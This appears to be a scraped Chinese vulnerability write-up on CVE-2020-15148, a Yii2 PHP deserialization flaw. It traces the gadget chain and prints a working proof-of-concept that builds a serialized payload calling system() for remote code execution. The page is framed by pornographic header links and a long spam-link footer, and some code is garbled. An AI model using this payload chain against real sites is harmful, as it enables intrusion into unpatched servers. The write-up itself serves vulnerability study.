电脑知识|欧美黑人一区二区三区|软件|欧美黑人一级爽快片淫片高清|系统|欧美黑人狂野猛交老妇|数据库|服务器|编程开发|网络运营|知识问答|技术教程文章 - 好吧啦网

您的位置:首頁技術文章
文章詳情頁

CVE-2020-15148漏洞分析

瀏覽:226日期:2022-06-06 15:10:12
目錄
  • 基礎知識
    • Yii2
    • 魔術方法
  • 漏洞分析
    • 結語

      基礎知識

      在學習該漏洞之前我們需要學習一下前置知識來更好的理解該漏洞的產生原因以及如何利用。 我們先來學習一下框架的基本信息以及反序列化漏洞的基本利用過程。

      Yii2

      Yii是一個基于組件的高性能PHP框架,用于開發大型Web應用。Yii采用嚴格的OOP編寫,并有著完善的庫引用以及全面的教程。而CVE-2020-15148則是在其版本YII2.0.38之前的一個反序列化漏洞,該漏洞在調用unserialize時,攻擊者可通過構造特定的惡意請求執行任意命令,這也是常見的反序列化漏洞的利用過程。

      魔術方法

      提到PHP反序列化一定離不開魔術方法,這些方法通常會在達到一些特殊條件后就會執行,舉個例子:

      __construct() //新建對象時調用

      我們編寫下面的代碼:

      當我們執行時new了一個類,這就會調用里面的魔術方法,從而輸出語句。當然這只是最簡單的魔術方法,下面給大家一個列表來進行參考:

      了解完以上知識點后我們開始對該漏洞進行分析。

      漏洞分析

      首先我們要搭建環境,最好搭建在本地方便調試,源碼地址如下:

      搭建完后我們首先找到漏洞切入點,也就是可能存在威脅的地方,結合上面對魔術方法的分析在 /vendor/yiisoft/yii2/db/BatchQueryResult.php下找到了可能存在漏洞的點,因為里面有個魔術方法在對象銷毀時調用:

      __destruct()調用了reset()方法,方法里面的$this->_dataReader是可控的:

      public function reset(){if ($this->_dataReader !== null) {    $this->_dataReader->close();}

      于是思考接下來要如何利用,根據POC的構造,假設我們將_dataReader變成類然后去調用close()方法,若類型沒有close()方法,同時還有__call魔術方法,則會調用該魔術方法。我們找到faker/src/Faker/Generator.php:里面存在call方法且調用了foemat方法:

      public function format($formatter, $arguments = array())    {return call_user_func_array($this->getFormatter($formatter), $arguments);    }

      跟進這里:

      $this->getFormatter($formatter)

      看到存在可控參數:

      public function getFormatter($formatter){if (isset($this->formatters[$formatter])) {     return $this->formatters[$formatter];}foreach ($this->providers as $provider) {    if (method_exists($provider, $formatter)) {$this->formatters[$formatter] = array($provider, $formatter);return $this->formatters[$formatter];    }}

      this−>formatters[this - > formatters[this−>formatters[formatter] 有值,就返回其值,回看一下會發現值為:

      $formatter="close",$arguments=空

      即返回的第一個參數是可控的,我們便可以調用任意的無參方法,這里找到/vendor/yiisoft/yii2/rest/CreateAction.php:

       public function run()    {if ($this->checkAccess) {    call_user_func($this->checkAccess, $this->id);}

      this−>checkAccess,this->checkAccess,this−>checkAccess,this->id是可控的,那么就可以執行RCE。利用鏈如下:

      yii\db\BatchQueryResult::__destruct()->Faker\Generator::__call()->yii\rest\CreateAction::run()

      這里貼一個大佬們的POC:

      <?phpnamespace yiirest{    class CreateAction{public $checkAccess;public $id;public function __construct(){    $this->checkAccess = "system";    $this->id = "phpinfo();";}    }}namespace Faker{    use yiirestCreateAction;    class Generator{protected $formatters;public function __construct(){    $this->formatters["close"] = [new CreateAction, "run"];}    }}namespace yiidb{    use FakerGenerator;    class BatchQueryResult{private $_dataReader;public function __construct(){    $this->_dataReader = new Generator;}    }}namespace{    echo base64_encode(serialize(new yiidbBatchQueryResult));}?>

      下面是傳入構造好的payload對網站進行請求的結果,可以看到成功進行了命令執行。

      結語

      今天給大家帶來的是CVE-2020-15148漏洞的簡單分析,整體看下來還是很簡單的,我們需要注意如何調用的魔術方法以及如何進行RCE,有興趣的小伙伴可以自己去搭建環境進行測試,喜歡本文的朋友希望可以一鍵三連支持一下。

      以上就是CVE-2020-15148漏洞分析的詳細內容,更多關于CVE-2020-15148漏洞的資料請關注其它相關文章!

      標簽: PHP
      主站蜘蛛池模板: 内窥镜-工业内窥镜厂家【上海修远仪器仪表有限公司】 | 陕西自考报名_陕西自学考试网| 合景一建-无尘车间设计施工_食品医药洁净车间工程装修总承包公司 | POS机办理_个人pos机免费领取-银联pos机申请首页 | cnc精密加工_数控机械加工_非标平键定制生产厂家_扬州沃佳机械有限公司 | 知名电动蝶阀,电动球阀,气动蝶阀,气动球阀生产厂家|价格透明-【固菲阀门官网】 | 上海租奔驰_上海租商务车_上海租车网-矢昂汽车服务公司 | CTP磁天平|小电容测量仪|阴阳极极化_双液系沸点测定仪|dsj电渗实验装置-南京桑力电子设备厂 | 短信通106短信接口验证码接口群发平台_国际短信接口验证码接口群发平台-速度网络有限公司 | 苏州西朗门业-欧盟CE|莱茵UL双认证的快速卷帘门品牌厂家 | 安德建奇火花机-阿奇夏米尔慢走丝|高维|发那科-北京杰森柏汇 | 折弯机-刨槽机-数控折弯机-数控刨槽机-数控折弯机厂家-深圳豐科机械有限公司 | 光纤测温-荧光光纤测温系统-福州华光天锐光电科技有限公司 | 领袖户外_深度旅游、摄影旅游、小团慢旅行、驴友网 | 有源电力滤波装置-电力有源滤波器-低压穿排电流互感器|安科瑞 | 锂电混合机-新能源混合机-正极材料混料机-高镍,三元材料混料机-负极,包覆混合机-贝尔专业混合混料搅拌机械系统设备厂家 | 上海璟文空运首页_一级航空货运代理公司_机场快递当日达 | 正压密封性测试仪-静态发色仪-导丝头柔软性测试仪-济南恒品机电技术有限公司 | 铝箔-铝板-花纹铝板-铝型材-铝棒管-上海百亚金属材料有限公司 | 膜结构车棚|上海膜结构车棚|上海车棚厂家|上海膜结构公司 | 定制奶茶纸杯_定制豆浆杯_广东纸杯厂_[绿保佳]一家专业生产纸杯碗的厂家 | 济南侦探调查-济南调查取证-山东私家侦探-山东白豹调查咨询公司 密集架|电动密集架|移动密集架|黑龙江档案密集架-大量现货厂家销售 | 中央空调维修、中央空调保养、螺杆压缩机维修-苏州东菱空调 | 编织人生 - 权威手工编织网站,编织爱好者学习毛衣编织的门户网站,织毛衣就上编织人生网-编织人生 | 工业风机_环保空调_冷风机_工厂车间厂房通风降温设备旺成服务平台 | 软瓷_柔性面砖_软瓷砖_柔性石材_MCM软瓷厂家_湖北博悦佳软瓷 | 手术室净化厂家_成都实验室装修公司_无尘车间施工单位_洁净室工程建设团队-四川华锐16年行业经验 | 磁棒电感生产厂家-电感器厂家-电感定制-贴片功率电感供应商-棒形电感生产厂家-苏州谷景电子有限公司 | FFU_空气初效|中效|高效过滤器_空调过滤网-广州梓净净化设备有限公司 | 中国产业发展研究网 - 提供行业研究报告 可行性研究报告 投资咨询 市场调研服务 | 工业机械三维动画制作 环保设备原理三维演示动画 自动化装配产线三维动画制作公司-南京燃动数字 聚合氯化铝_喷雾聚氯化铝_聚合氯化铝铁厂家_郑州亿升化工有限公司 | 换网器_自动换网器_液压换网器--郑州海科熔体泵有限公司 | 首页-瓜尔胶系列-化工单体系列-油田压裂助剂-瓜尔胶厂家-山东广浦生物科技有限公司 | 电子天平-华志电子天平厂家 | 成都LED显示屏丨室内户外全彩led屏厂家方案报价_四川诺显科技 | 精密模具-双色注塑模具加工-深圳铭洋宇通| 老城街小面官网_正宗重庆小面加盟技术培训_特色面馆加盟|牛肉拉面|招商加盟代理费用多少钱 | 干式磁选机_湿式磁选机_粉体除铁器-潍坊国铭矿山设备有限公司 | 【ph计】|在线ph计|工业ph计|ph计厂家|ph计价格|酸度计生产厂家_武汉吉尔德科技有限公司 | 广州冷却塔维修厂家_冷却塔修理_凉水塔风机电机填料抢修-广东康明节能空调有限公司 | 科威信洗净科技,碳氢清洗机,超声波清洗机,真空碳氢清洗机 |